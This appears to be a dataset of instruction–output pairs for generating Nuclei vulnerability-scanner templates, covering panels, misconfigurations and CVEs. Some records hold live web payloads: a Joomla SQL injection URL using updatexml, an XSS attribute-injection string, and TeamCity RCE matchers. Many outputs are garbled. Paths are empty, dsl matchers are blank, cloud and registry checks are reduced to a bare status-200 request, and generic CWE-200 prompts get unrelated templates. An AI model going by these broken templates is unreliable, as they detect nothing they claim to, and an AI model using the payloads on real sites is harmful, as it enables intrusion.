  tags: misconfig,prestashop,exposure,install,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/install/index.php"
    matchers:
      - type: word
        words:
          - "<title>PrestaShop Installation Assistant</title>"
          - "<li>System configuration</li>"
          - "<li>Store installation</li>"
        part: body
        condition: and
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: DNS Zone Transfer Check

Input:
Title: DNS Zone Transfer Check
Summary: DNS Zone Transfer Check. Ensure DNS zone transfers are restricted by verifying that the SecureSecondaries registry value is set to 2 for all active zones.
Unrestricted zone transfers can expose sensitive domain information, helping attackers map the network infrastructure.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: dns-zone-transfer-check

info:
  name: DNS Zone Transfer Check
  author: nukunga[SungHyunJeon]
  severity: medium
  description: Ensure DNS zone transfers are restricted by verifying that the SecureSecondaries registry value is set to 2 for all active zones.
Unrestricted zone transfers can expose sensitive domain information, helping attackers map the network infrastructure.
  tags: code,windows-audit,kisa,dns,zone-transfer

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Tongda OA v11.5 swfupload_new.php - SQL Injection

Input:
Title: Tongda OA v11.5 swfupload_new.php - SQL Injection
Summary: Tongda OA v11.5 swfupload_new.php - SQL Injection. There is a SQL injection vulnerability in the swfupload_new.php file of Tongda OA v11.5. An attacker can obtain sensitive information of the server through the vulnerability.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: tongda-oa-swfupload-sqli

info:
  name: Tongda OA v11.5 swfupload_new.php - SQL Injection
  author: SleepingBag945
  severity: high
  description: There is a SQL injection vulnerability in the swfupload_new.php file of Tongda OA v11.5. An attacker can obtain sensitive information of the server through the vulnerability.
  tags: tongda,sqli,intrusive,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "insert into FILE_CONTENT("
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Node.js Express NODE_ENV Development Mode

Input:
Title: Node.js Express NODE_ENV Development Mode
Summary: Node.js Express NODE_ENV Development Mode. The Node.js application runs in development mode, which can expose sensitive information, such as source code and secrets, depending on the application.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: node-express-dev-env

info:
  name: Node.js Express NODE_ENV Development Mode
  author: FLX
  severity: medium
  description: The Node.js application runs in development mode, which can expose sensitive information, such as source code and secrets, depending on the application.
  tags: nodejs,express,misconfig,devops,cicd,trace,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: dsl
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: kafka-topics-ui

info:
  name: Apache Kafka Topics Panel - Detect
  author: pdteam,righettod
  severity: info
  description: Apache Kafka Topics panel was detected.
  tags: panel,kafka,apache,detect,provectus,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/info"
    matchers:
      - type: word
        words:
          - "<title>Kafka Topics UI - Browse Kafka Data</title>"
          - "<title>UI for Apache Kafka</title>"
          - "github.com/provectus/kafka-ui"
        condition: or
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: PgSQL Security Checks

Input:
Title: PgSQL Security Checks
Summary: PgSQL Security Checks. A simple workflow that runs all PgSQL related nuclei templates on a given target.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: pgsql-workflow

info:
  name: PgSQL Security Checks
  author: pussycat0x
  severity: info
  description: A simple workflow that runs all PgSQL related nuclei templates on a given target.
  tags: unknown

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2017-8917

Input:
Title: SQL Injection in joomla joomla\!
Summary: SQL injection vulnerability in Joomla! 3.7.x before 3.7.1 allows attackers to execute arbitrary SQL commands via unspecified vectors.
Vulnerability Type: SQL Injection
Severity: critical
Affected Products: joomla joomla\!
Indicators: error, vulnerability detected

Output:
id: CVE-2017-8917

info:
  name: Joomla! <3.7.1 - SQL Injection
  author: princechaddha
  severity: critical
  description: Joomla! before 3.7.1 contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  tags: cve2017,cve,joomla,sqli,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5({{num}})),1)"
    matchers:
      - type: word
        words:
          - "{{md5(num)}}"
        part: body


Instruction: Generate a Nuclei template for: Laragon - phpinfo Disclosure

Input:
Title: Laragon - phpinfo Disclosure
Summary: Laragon - phpinfo Disclosure. Laragon phpinfo file was exposed.

Vulnerability Type: Security Check
Severity: low
Indicators: vulnerability detected

Output:
id: laragon-phpinfo

info:
  name: Laragon - phpinfo Disclosure
  author: DhiyaneshDk
  severity: low
  description: Laragon phpinfo file was exposed.
  tags: laragon,exposure,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?q=info"
    matchers:
      - type: word
        words:
          - "PHP Extension"
          - "PHP Version"
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Internal IP Disclosure

Input:
Title: Internal IP Disclosure
Summary: Internal IP Disclosure. Tags: misconfig, disclosure, vuln
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: internal-ip-disclosure

info:
  name: Internal IP Disclosure
  author: WillD96
  severity: info
  description: Internal IP Disclosure
  tags: misconfig,disclosure,vuln

http:
  - method: GET
    path:
    matchers:
      - type: regex
        part: location
      - type: dsl
      - type: status
        status:
          - 301


Instruction: Generate a Nuclei template for: Joplin Server Login - Panel

Input:
Title: Joplin Server Login - Panel
Summary: Joplin Server Login - Panel. Joplin Server login panel detected.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: joplin-panel

info:
  name: Joplin Server Login - Panel
  author: pussycat0x
  severity: info
  description: Joplin Server login panel detected.
  tags: panel,joplin,login,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/login"
    matchers:
      - type: word
        words:
          - "<title>Joplin Server - Login</title>"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: webview-addjavascript-interface

info:
  name: Android WebView Add Javascript Interface - Detect
  author: gaurang
  severity: info
  description: Android WebView Add Javascript interface usage was detected.
  tags: android,file,webview

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2022-0147

Input:
Title: Cross-Site Scripting (XSS) in cookieinformation wp-gdpr-compliance
Summary: The Cookie Information | Free GDPR Consent Solution WordPress plugin before 2.0.8 does not escape user data before outputting it back in attributes in the admin dashboard, leading to a Reflected Cross-Site Scripting issue
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: cookieinformation wp-gdpr-compliance
Indicators: error, vulnerability detected

Output:
id: CVE-2022-0147

info:
  name: WordPress Cookie Information/Free GDPR Consent Solution <2.0.8 - Cross-Site Scripting
  author: 8arthur
  severity: medium
  description: WordPress Cookie Information/Free GDPR Consent Solution plugin prior to 2.0.8 contains a cross-site scripting vulnerability via the admin dashboard. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  tags: cve2022,cve,wordpress,xss,wp,authenticated,wp-plugin,wp-gdpr-compliance,wpscan,cookieinformation,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "x=\' onanimationstart=alert(document.domain) style=animation-name:rotation x'"
          - "toplevel_page_wp-gdpr-compliance"
        part: body
        condition: and
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Rsync Version - Detect

Input:
Title: Rsync Version - Detect
Summary: Rsync Version - Detect. Identify the Version of the Rsync Protocol

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: rsync-version

info:
  name: Rsync Version - Detect
  author: DhiyaneshDK
  severity: info
  description: Identify the Version of the Rsync Protocol
  tags: js,network,rsync,enum,discovery

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Azure API Management Weak TLS Configured

Input:
Title: Azure API Management Weak TLS Configured
Summary: Azure API Management Weak TLS Configured. Ensure that your Azure API Management API gateways are not configured to use weak and deprecated TLS protocols such as TLS 1.0 and TLS 1.1. Using outdated TLS versions can expose your APIs to exploits targeting flaws in these older protocols. Ensure API gateways use the latest supported TLS version.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: azure-apim-tls-config-weak

info:
  name: Azure API Management Weak TLS Configured
  author: princechaddha
  severity: medium
  description: Ensure that your Azure API Management API gateways are not configured to use weak and deprecated TLS protocols such as TLS 1.0 and TLS 1.1. Using outdated TLS versions can expose your APIs to exploits targeting flaws in these older protocols. Ensure API gateways use the latest supported TLS version.
  tags: cloud,devops,azure,microsoft,api-management,azure-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: RDS Auto Minor Version Upgrade - Disabled

Input:
Title: RDS Auto Minor Version Upgrade - Disabled
Summary: RDS Auto Minor Version Upgrade - Disabled. Ensure that your Amazon RDS database instances have the Auto Minor Version Upgrade flag enabled in order to receive automatically minor engine upgrades during the specified maintenance window.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: rds-auto-minor-upgrade-disabled

info:
  name: RDS Auto Minor Version Upgrade - Disabled
  author: DhiyaneshDK
  severity: medium
  description: Ensure that your Amazon RDS database instances have the Auto Minor Version Upgrade flag enabled in order to receive automatically minor engine upgrades during the specified maintenance window.
  tags: cloud,devops,aws,amazon,rds,aws-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2023-42793

Input:
Title: Vulnerability (CWE-288) in jetbrains teamcity
Summary: In JetBrains TeamCity before 2023.05.4 authentication bypass leading to RCE on TeamCity Server was possible
Vulnerability Type: Vulnerability (CWE-288)
Severity: critical
Affected Products: jetbrains teamcity
Indicators: error, vulnerability detected

Output:
id: CVE-2023-42793

info:
  name: JetBrains TeamCity < 2023.05.4 - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: In JetBrains TeamCity before 2023.05.4 authentication bypass leading to RCE on TeamCity Server was possible
  tags: cve2023,cve,jetbrains,teamcity,rce,auth-bypass,intrusive,kev,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "<token name="RPC2" creationTime"
        part: body_2
      - type: word
        words:
          - "StdOut:{{randstr}}"
        part: body_5


Instruction: Generate a Nuclei template for: Barracuda Message Archiver - Panel Detect

Input:
Title: Barracuda Message Archiver - Panel Detect
Summary: Barracuda Message Archiver - Panel Detect. Barracuda Networks Barracuda Message Archiver (BMA) panel was detected.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: barracuda-message-panel

info:
  name: Barracuda Message Archiver - Panel Detect
  author: inokii
  severity: info
  description: Barracuda Networks Barracuda Message Archiver (BMA) panel was detected.
  tags: barracuda,panel,login,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-mod/index.cgi"
    matchers:
      - type: word
        words:
          - "<link href="/css/archiver.css"
          - "<div id="barracuda_info" style="float:right">"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: GKE Clusters Without Metadata Server Enabled

Input:
Title: GKE Clusters Without Metadata Server Enabled
Summary: GKE Clusters Without Metadata Server Enabled. Ensure that GKE Metadata Server is enabled for your Google Kubernetes Engine (GKE) cluster nodes to enhance security by restricting workload access to sensitive instance information. The GKE Metadata Server feature requires Workload Identity for improved authentication and authorization.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: gcloud-gke-metadata-server-disabled

info:
  name: GKE Clusters Without Metadata Server Enabled
  author: princechaddha
  severity: medium
  description: Ensure that GKE Metadata Server is enabled for your Google Kubernetes Engine (GKE) cluster nodes to enhance security by restricting workload access to sensitive instance information. The GKE Metadata Server feature requires Workload Identity for improved authentication and authorization.
  tags: cloud,devops,gcp,gcloud,gke,kubernetes,security,metadata,gcp-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: AgileCRM Takeover Detection

Input:
Title: AgileCRM Takeover Detection
Summary: AgileCRM Takeover Detection. agilecrm subdomain takeover was detected.
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: agilecrm-takeover

info:
  name: AgileCRM Takeover Detection
  author: pdteam
  severity: high
  description: agilecrm subdomain takeover was detected.
  tags: takeover,agilecrm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: dsl
      - type: word
        words:
          - "Sorry, this page is no longer available."


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: piratebay

info:
  name: Piratebay Username Information - Detect
  author: philippedelteil
  severity: info
  description: Piratebay Username Information - Detect
  tags: osint,osint-p2p,piratebay,headless,discovery

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: bdsmsingles

info:
  name: Bdsmsingles User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: Bdsmsingles user name information check was conducted.
  tags: osint,osint-porn,bdsmsingles,discovery

http:
  - method: GET
    path:
      - "https://www.bdsmsingles.com/members/{{user}}/"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "<title>Profile"
        part: body


Instruction: Generate a Nuclei template for: GLPI Status Domain Disclosure

Input:
Title: GLPI Status Domain Disclosure
Summary: GLPI Status Domain Disclosure. Tags: glpi, exposure, status
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: glpi-status-domain-disclosure

info:
  name: GLPI Status Domain Disclosure
  author: dogasantos
  severity: info
  description: GLPI Status Domain Disclosure
  tags: glpi,exposure,status,files,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/status.php"
      - "{{BaseURL}}/glpi/status.php"
      - "{{BaseURL}}/glpi2/status.php"
    matchers:
      - type: word
        words:
          - "GLPI_"
          - "LDAP server"
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: visual studio code phishing Detection

Input:
Title: visual studio code phishing Detection
Summary: visual studio code phishing Detection. A visual studio code phishing website was detected

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: visual-studio-code-phish

info:
  name: visual studio code phishing Detection
  author: rxerium
  severity: info
  description: A visual studio code phishing website was detected
  tags: phishing,visual-studio-code,osint,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Visual Studio Code is a code editor redefined and optimized for building and debugging modern web and cloud applications.  Visual Studio Code is free and available on your favorite platform - Linux, macOS, and Windows."
          - "Visual Studio Code - Code Editing. Redefined"
        condition: and
      - type: status
        status:
          - 200
      - type: dsl


Instruction: Generate a Nuclei template for CVE-2024-41955

Input:
Title: Vulnerability (CWE-601) in opensecurity mobile_security_framework
Summary: Mobile Security Framework (MobSF) is a security research platform for mobile applications in Android, iOS and Windows Mobile. An open redirect vulnerability exist in MobSF authentication view. Update to MobSF v4.0.5.
Vulnerability Type: Vulnerability (CWE-601)
Severity: medium
Affected Products: opensecurity mobile_security_framework
Indicators: error, vulnerability detected

Output:
id: CVE-2024-41955

info:
  name: Open Redirect in Login Redirect - MobSF
  author: Farish
  severity: medium
  description: Mobile Security Framework (MobSF) is a security research platform for mobile applications in Android, iOS and Windows Mobile. An open redirect vulnerability exist in MobSF authentication view.
  tags: cve,cve2024,open-redirect,mobsf,authenticated,vuln

http:
  - method: GET
    path:
    matchers:
      - type: regex
        part: header_2